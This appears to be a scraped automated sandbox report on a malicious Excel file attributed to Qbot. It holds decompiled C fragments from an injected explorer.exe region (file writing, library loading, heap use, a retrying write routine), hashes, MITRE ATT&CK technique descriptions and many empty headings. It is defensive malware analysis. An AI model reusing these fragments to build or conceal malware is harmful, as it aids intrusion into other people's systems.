API String ID: 3934441357-0
Opcode ID: 28c1d1179f8471f7983e5dd2296af619abc904f2412a14bb158cf7b988bba3ff
Instruction ID: 7764ea836645fa871b0fc45f3f41d7448a1bd5e2dd282ab9bd01ca368b39ca0c
Opcode Fuzzy Hash: 28c1d1179f8471f7983e5dd2296af619abc904f2412a14bb158cf7b988bba3ff
Instruction Fuzzy Hash: 15F0DF72A10229EFDB10DE68CD49BAA7BAAEB04750F1455A4A819E2210D770EA509BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0066B7B7, Relevance: 1.5, APIs: 1, Instructions: 32
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0066B7B7(WCHAR* _a4, long _a8) {
				void* _t12;

				_t12 = CreateFileW(_a4, 0x40000000, 0, 0, _a8, 0x80, 0);
				if(_t12 != 0xffffffff) {
					if(_a8 == 4) {
						 *((intOrPtr*)( *0x68b760 + 0x80))(_t12, 0, 0, 2);
					}
					return _t12;
				}
				return 0;
			}

0x0066b7d9
0x0066b7de
0x0066b7e8
0x0066b7f4
0x0066b7f4
0x00000000
0x0066b7fa
0x00000000

APIs

CreateFileW.KERNELBASE(?,40000000,00000000,00000000,?,00000080,00000000,00000000,?,?,0066C644,?,00000001), ref: 0066B7D6

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ffa5064112b14f2eaeb386e5a1247c70392560fd8adc6181eede86a0afbcb349
Instruction ID: 1fd7eb8f73840e46b23b418dd35e78a3736f0dfc38bf36e25f1856420de85d1c
Opcode Fuzzy Hash: ffa5064112b14f2eaeb386e5a1247c70392560fd8adc6181eede86a0afbcb349
Instruction Fuzzy Hash: D0F0C035201128BAC7205A6A9C4CFDB3FAEFFC67B1F059225FA19C61A0C7309845D7A4

Uniqueness

Uniqueness Score: -1.00%

Function 0066B5CF, Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E0066B5CF(intOrPtr _a4) {
				void* _t13;
				void* _t15;

				_t13 = 0;
				_t15 =  *((intOrPtr*)( *0x68b760 + 0xbc))(2, 0, _a4);
				if(_t15 != 0) {
					_push(_t15);
					if( *((intOrPtr*)( *0x68b760 + 0xc0))() != 0) {
						_t13 = 1;
					}
					FindCloseChangeNotification(_t15);
					return _t13;
				}
				return 0;
			}

0x0066b5dc
0x0066b5e7
0x0066b5eb
0x0066b5f8
0x0066b601
0x0066b612
0x0066b612
0x0066b609
0x00000000
0x0066b60c
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(00000000,?,006678CA,?,00000000,0068B730,?,?,?,?,00666CD3,00000000), ref: 0066B609

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: d1d7f763cc32d24e1836d975df480e19106394238485d5262c855c16a0896dce
Instruction ID: ff515113679f92bb86837c564ac06f1a439aef732f6f03c20a1b61fae3e52779
Opcode Fuzzy Hash: d1d7f763cc32d24e1836d975df480e19106394238485d5262c855c16a0896dce
Instruction Fuzzy Hash: F6F06532245218EBD7219B6ADC4CEAB7B9AFBCA751F052164F609C7220D72098418791

Uniqueness

Uniqueness Score: -1.00%

Function 0066E6ED, Relevance: 1.5, APIs: 1, Instructions: 30
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 47%

			E0066E6ED(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v8;
				char _t8;
				struct HINSTANCE__* _t10;
				void* _t15;
				void* _t20;

				_t8 = E00668A79();
				_t20 = 0;
				_v8 = _t8;
				_push(_t8);
				if(_a12 != 0x36a) {
					_t10 = LoadLibraryA(); // executed
				} else {
					_t10 = GetModuleHandleA();
				}
				if(_t10 != 0) {
					_t15 = E0066E739(_a8, _a4, _t10); // executed
					_t20 = _t15;
				}
				E0066A72E( &_v8);
				return _t20;
			}

0x0066e6f5
0x0066e6fa
0x0066e703
0x0066e706
0x0066e707
0x0066e716
0x0066e709
0x0066e709
0x0066e709
0x0066e71a
0x0066e723
0x0066e72a
0x0066e72a
0x0066e72f
0x0066e738

APIs

LoadLibraryA.KERNELBASE(00000000,00000000), ref: 0066E716

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: fd4c003b0c15b247cd40670e36328a49c741000c338e682e938069d2e34af78d
Instruction ID: f1618659694ef527fd18cf7b8849d22cbb4a330cb81c9d221444ee5fcad89b5a
Opcode Fuzzy Hash: fd4c003b0c15b247cd40670e36328a49c741000c338e682e938069d2e34af78d
Instruction Fuzzy Hash: 40F06539104219AFDB40AFA4EC418DE7BFEEF05350B144129F801DB261DB31DE00DB94

Uniqueness

Uniqueness Score: -1.00%

Function 0066B776, Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E0066B776(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _t5;
				void* _t6;
				void* _t10;
				void* _t13;
				void* _t14;

				_t5 = E0066B7B7(_a4, 2); // executed
				_t14 = _t5;
				_pop(_t13);
				if(_t14 != 0) {
					_t6 = E0066B691(_t13, _t14, _a8, _a12); // executed
					if(_t6 != 0) {
						FindCloseChangeNotification(_t14);
						return 0;
					}
					_t10 = 0xfffffffe;
					return _t10;
				}
				return _t5 | 0xffffffff;
			}

0x0066b77f
0x0066b784
0x0066b787
0x0066b78a
0x0066b798
0x0066b7a2
0x0066b7af
0x00000000
0x0066b7b2
0x0066b7a6
0x00000000
0x0066b7a6
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 56c7633e9b9f7a0f06d46edf01595350965e568500c425873f0745a10cfd510b
Instruction ID: d444efbe1035d1de61169ea408d1c2d3e3cb84c8890eaf6edeb4e11d6181d911
Opcode Fuzzy Hash: 56c7633e9b9f7a0f06d46edf01595350965e568500c425873f0745a10cfd510b
Instruction Fuzzy Hash: 4AE0D832408125FBDB116E64DC05D9A3F5AEF45374B202315FD24C92E1E721C8A09BC5

Uniqueness

Uniqueness Score: -1.00%

Function 0066B668, Relevance: 1.5, APIs: 1, Instructions: 19
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0066B668(WCHAR* _a4) {
				signed int _t6;

				_t6 = CreateFileW(_a4, 0x80000000, 1, 0, 3, 0, 0);
				_t3 = _t6 + 1; // 0x1
				asm("sbb eax, eax");
				return  ~_t3 & _t6;
			}

0x0066b681
0x0066b686
0x0066b68b
0x0066b690

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,0066B6F7,00000000,00000000,00000400,00000000,?,?,0067B30F), ref: 0066B681

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: fa7fe570a4e2179913074e462590116b607d6d33d8cf5fcc02cff3ef3f75ae48
Instruction ID: 29f820960b5aa7fff7c956c8399240fc0c03a17e1e482b79c1d6c6c7b117b2b7
Opcode Fuzzy Hash: fa7fe570a4e2179913074e462590116b607d6d33d8cf5fcc02cff3ef3f75ae48
Instruction Fuzzy Hash: F8D0A9323A820CBFEB008E74DC42FB237DEE700600F104228BA09DA1A0E662E9008750

Uniqueness

Uniqueness Score: -1.00%

Function 00669568, Relevance: 1.5, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00669568(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x68b804, 8, _a4); // executed
				return _t2;
			}

0x00669576
0x0066957d

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,0066AC93,00000100,?,00662E84), ref: 00669576

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 147d7a265b08e0d1261ae12ac8f17d6cf57a99bce011c1bf6d59a02cdaa98d88
Instruction ID: 8033a583d5c039909bf36ade0660d0e3978a1f571d3d9f766ffb308a8fb37fd0
Opcode Fuzzy Hash: 147d7a265b08e0d1261ae12ac8f17d6cf57a99bce011c1bf6d59a02cdaa98d88
Instruction Fuzzy Hash: D3B09231080608FBEB411B91FC06E847F7EE708691F04A110F60804071CB7364249B91

Uniqueness

Uniqueness Score: -1.00%

Function 00669605, Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00669605() {
				void* _t1;

				_t1 = HeapCreate(0, 0x80000, 0); // executed
				 *0x68b804 = _t1;
				return _t1;
			}

0x0066960e
0x00669614
0x00669619

APIs

HeapCreate.KERNELBASE(00000000,00080000,00000000,00662E5F), ref: 0066960E

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 5532f451b8212cf9ba8a6f05f284e90c0b1d36e4520b5c15ebf86574de090194
Instruction ID: 198f8eb9587e526020d3281046ebba0e202c47906ccef61f1b3bc54586825b4e
Opcode Fuzzy Hash: 5532f451b8212cf9ba8a6f05f284e90c0b1d36e4520b5c15ebf86574de090194
Instruction Fuzzy Hash: 63B012B02C230076E3901B105D06B0039A17300B02F242100F3009D2D0D7B010044B04

Uniqueness

Uniqueness Score: -1.00%

Function 0067B278, Relevance: 1.4, APIs: 1, Instructions: 101
sleepCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0067B278() {
				signed int _v8;
				char _v12;
				char _v16;
				char _v20;
				char _t26;
				void* _t32;
				void* _t37;
				char* _t38;
				char _t43;
				void* _t52;
				char* _t60;
				void* _t63;
				void* _t65;
				void* _t66;
				void* _t67;

				_t26 = E00669568( *((intOrPtr*)( *0x68b70c + 4))); // executed
				_pop(_t52);
				_v12 = _t26;
				if(_t26 != 0) {
					_t28 =  *0x68b70c;
					if( *((intOrPtr*)( *0x68b70c + 4)) > 0x400) {
						E00669543(_v12,  *_t28, 0x400);
						_v8 = _v8 & 0x00000000;
						_t37 = E00668A90(_t52, 0x23b);
						_t55 =  *0x68b740;
						_t66 = _t65 + 0x10;
						_t60 = L"SysWOW64";
						if( *((intOrPtr*)( *0x68b740 + 0xa8)) == 0) {
							_t60 = L"System32";
						}
						_push(0);
						_push(_t37);
						_t38 = "\\";
						_push(_t38);
						_push(_t60);
						_push(_t38);
						_v16 = E0066ABBC(_t55 + 0x1020);
						E0066A741( &_v16);
						_t43 = E0066B6D7(_v16,  &_v8);
						_t67 = _t66 + 0x24;
						_v20 = _t43;
						if(_t43 != 0 && _v8 > 0x400) {
							_t58 =  *((intOrPtr*)( *0x68b70c + 4));
							if(_v8 <  *((intOrPtr*)( *0x68b70c + 4))) {
								_t58 = _v8;
							}
							E00669543(_v12 + 0x400, _t43 + 0x400, _t58 + 0xfffffc00);
							_t67 = _t67 + 0xc;
						}
						E006694F4( &_v20, _v8);
						E006694F4( &_v16, 0xfffffffe);
						_t65 = _t67 + 0x10;
					}
					_t63 = 0;
					while(1) {
						_t32 = E0066B776( *0x68b740 + 0x228, _v12,  *((intOrPtr*)( *0x68b70c + 4))); // executed
						_t65 = _t65 + 0xc;
						if(_t32 >= 0) {
							break;
						}
						Sleep(1);
						_t63 = _t63 + 1;
						if(_t63 < 0x2710) {
							continue;
						}
						break;
					}
					E006694F4( &_v12, 0);
				}
				return 0;
			}

0x0067b286
0x0067b28b
0x0067b28c
0x0067b291
0x0067b297
0x0067b2a5
0x0067b2b1
0x0067b2b6
0x0067b2bf
0x0067b2c4
0x0067b2ca
0x0067b2d4
0x0067b2d9
0x0067b2db
0x0067b2db
0x0067b2e0
0x0067b2e2
0x0067b2e3
0x0067b2e8
0x0067b2e9
0x0067b2ea
0x0067b2f7
0x0067b2fe
0x0067b30a
0x0067b30f
0x0067b312
0x0067b317
0x0067b324
0x0067b32a
0x0067b32c
0x0067b32c
0x0067b345
0x0067b34a
0x0067b34a
0x0067b354
0x0067b35f
0x0067b364
0x0067b364
0x0067b367
0x0067b369
0x0067b37f
0x0067b384
0x0067b389
0x00000000
0x00000000
0x0067b392
0x0067b398
0x0067b39f
0x00000000
0x00000000
0x00000000
0x0067b39f
0x0067b3a7
0x0067b3ae
0x0067b3b2

APIs

Part of subcall function 00669568: RtlAllocateHeap.NTDLL(00000008,?,?,0066AC93,00000100,?,00662E84), ref: 00669576

Sleep.KERNELBASE(00000001,?,?,?,?,?,?,0067B556,?,?,?,0067B607,00000000), ref: 0067B392

Memory Dump Source

Source File: 0000000D.00000002.713096999.0000000000660000.00000040.00000001.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_660000_explorer.jbxd

Yara matches

Similarity

API ID: AllocateHeapSleep
String ID:
API String ID: 4201116106-0
Opcode ID: 2bc7598e165c0cb439e7287f5c27be3cccff1a7a2ad0d5059d2def542bad1624
Instruction ID: e3388c395232c15cdf1612a83f48b096e7ed4366bc336f42a7d308e9af23e3f0
Opcode Fuzzy Hash: 2bc7598e165c0cb439e7287f5c27be3cccff1a7a2ad0d5059d2def542bad1624
Instruction Fuzzy Hash: E531A371D00208BFDB40EBA4DD45BAE77BBEB44304F149169FA04E72A2DB35DA418B64

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report plan-1053707320.xlsb

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Qbot

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Persistence and Installation Behavior:

Signature Overview

AV Detection:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "plan-1053707320.xlsb"

Indicators

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Function 1000EB53, Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 284
COMMON

Function 1000DDC7, Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 227
nativeregistrymemoryCOMMON

Function 1000E23A, Relevance: 9.1, APIs: 6, Instructions: 85
nativefilethreadCOMMON

Function 1000A1C7, Relevance: 6.1, APIs: 4, Instructions: 66
processCOMMON

Function 1000E5F3, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97
COMMON

Function 010D6956, Relevance: 3.6, APIs: 2, Instructions: 617
memoryCOMMONCrypto

Function 010D26A7, Relevance: 3.5, APIs: 2, Instructions: 514
memoryCOMMONCrypto

Function 010D4F80, Relevance: 2.8, APIs: 1, Instructions: 1264
memoryCOMMONCrypto

Function 010D2A87, Relevance: 2.8, APIs: 1, Instructions: 1253
COMMON

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre